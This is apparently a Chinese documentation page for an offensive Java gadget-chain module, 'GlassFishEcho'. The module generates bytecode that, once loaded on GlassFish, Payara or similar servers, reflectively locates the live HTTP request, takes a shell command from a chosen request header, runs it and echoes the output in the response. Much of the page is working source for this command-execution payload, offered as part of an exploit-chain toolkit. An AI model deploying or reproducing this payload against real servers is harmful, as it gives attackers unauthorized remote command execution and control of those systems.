Skip to content

Latest commit

 

History

History
90 lines (80 loc) · 5.61 KB

File metadata and controls

90 lines (80 loc) · 5.61 KB

生成 GlassFish 命令执行明文回显的字节码(GlassFishEcho)

  • 类别:bytecode 别名:— 优先级:—
  • 作者:ReaJason
  • 依赖:无(目标为 GlassFish/Payara 系中间件)

作用

生成一段「命令执行 + HTTP 明文回显」的字节码:类被加载后在静态块中通过反射逐层拿到当前线程的 GlassFish/Grizzly 请求对象,从指定请求头读取命令、执行、并把结果写回 HTTP 响应。适用于 GlassFish/Payara/InforSuite/ApusicV10/Primeton 等中间件。是链尾字节码 sink(byte[] 产物)。

链接标签

  • 入口 tagsBytecodeEchoEND —— Bytecode 承接上游字节码转换器;Echo 标识「回显型」载荷;END 表示终端 sink。
  • 衔接 nextTags:空 —— 终点。
  • excludes:无。

源码剖析

gadget 本体把模板类编译为字节码,并把用户配置的请求头名写入模板的静态字段:

@Param(name="请求头 key", description="执行命令的 Header 头")
public String header = "X-Authorization";

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(GlassFishEchoBytecode.class);
    javassistHelper.modifyStringField("header", this.header);   // 把 header 名写进模板静态字段
    return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);                                    // END gadget:内层为空
    return this.getObject();
}

modifyStringField("header", ...)JavassistHelper 提供的字节码改写能力:在不重新编译源码的前提下,把模板类里 public static String header 的初始值替换为用户指定的头名(默认 X-Authorization)。真正的回显逻辑在模板类静态块中执行:

static { new GlassFishEchoBytecode(); }              // 类一旦被加载即触发

public GlassFishEchoBytecode() {
  try {
    // 路径一:从当前线程 processorTask.request 直接取请求
    Thread thread = Thread.currentThread();
    Object request = invokeMethod(
        getFieldValue(getFieldValue(thread, "processorTask"), "request"),
        "getNote", new Class[]{int.class}, new Object[]{1});
    Object response = invokeMethod(request, "getResponse", null, null);
    String data = getDataFromReq(request);
    if (data != null && !data.isEmpty()) execute(response, data);
  } catch (Exception x) {
    // 路径二:遍历所有线程,经 Selector→keys→Connection→coyoteRequest 兜底找到请求对象
    for (Thread t : Thread.getAllStackTraces().keySet()) {
        Object blocker = getFieldValue(t, "blocker");
        if (blocker==null || !blocker.getClass().getName().contains("Selector")) continue;
        Set keys = (Set) getFieldValue(getFieldValue(blocker,"this$0"), "keys");
        for (Object key : keys) { /* attachment→Connection→attributes→request→response */ }
    }
  }
}
private String getDataFromReq(Object request) throws Exception {
    return (String) invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{header});
}
private String run(String data) throws Exception {              // 跨平台命令执行
    String[] cmd = os.contains("window") ? {"cmd.exe","/c",data} : {"/bin/sh","-c",data};
    Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
    return new Scanner(p.getInputStream()).useDelimiter("\\A").next();
}
private void execute(Object response, String data) throws Exception {
    PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
    writer.write(this.run(data)); writer.flush(); writer.close();   // 命令结果明文写回响应
}

关键点:

  • 纯反射、零依赖invokeMethod / getFieldValue 沿类继承链查找方法/字段,避免直接引用 GlassFish/Grizzly 私有类,保证字节码在目标能跑通且不需编译期依赖。
  • 双路径取请求:路径一走 Thread.processorTask.request;失败则路径二遍历全部线程,靠 NIO Selectorkeys 定位 Connection,再取到 org.apache.catalina.connector.Request,兼容不同 Grizzly 版本/线程模型。
  • 命令载于请求头:命令写在 header(默认 X-Authorization)里,run() 跨平台执行并 redirectErrorStream(true) 合并错误流,结果通过 response.getWriter() 明文回显。

参数(@Param)

字段 名称 说明 默认 可选值
header 请求头 key 承载待执行命令的 HTTP 请求头名 X-Authorization 任意字符串

适用版本与原理要点

  • 适用中间件:GlassFish / Payara / InforSuite / ApusicV10 / Primeton(均基于 Grizzly,请求对象结构相近)。
  • 回显为明文,攻击者仅需一个普通 HTTP 请求携带指定头即可执行命令并直接看到输出,无需外带通道。
  • 作为 byte[] sink,须由上游转换器加载才会触发静态块。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。典型用法:[BytecodeConvert, GlassFishEcho]

关联